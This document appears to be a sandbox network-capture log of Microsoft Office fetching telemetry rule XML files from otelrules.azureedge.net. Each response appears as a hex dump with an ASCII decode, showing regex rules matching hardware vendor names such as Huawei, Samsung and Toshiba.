2024-12-07 17:26:31 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 09188c3a-a01e-0021-2702-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172631Z-r1cf579d778dc6d7hC1EWR2vs800000003h00000000094ge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:32 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172633Z-r1cf579d7784wpmvhC1EWRk4cn00000002d0000000005mkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:33 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172633Z-r1cf579d7782ctslhC1EWRfbrw00000003hg000000000gty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:33 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:33 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172633Z-r1cf579d778z4wflhC1EWRa3h00000000300000000005nvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:33 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:33 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172633Z-r1cf579d778zvkpnhC1EWRv23g000000033000000000a8pd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:33 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172633Z-r1cf579d77898tqwhC1EWRf9q8000000033g0000000014fr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:35 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172635Z-r1cf579d778z4wflhC1EWRa3h00000000330000000001ppy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:35 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172635Z-r1cf579d778qlpkrhC1EWRpfc800000003n00000000054vc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:35 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:35 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172635Z-r1cf579d778dc6d7hC1EWR2vs800000003kg00000000727p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:35 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:35 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172635Z-r1cf579d778qlpkrhC1EWRpfc800000003k000000000897y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:35 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:35 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e267231f-301e-0099-3103-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172635Z-r1cf579d778zvkpnhC1EWRv23g000000036g000000005xpt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:37 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
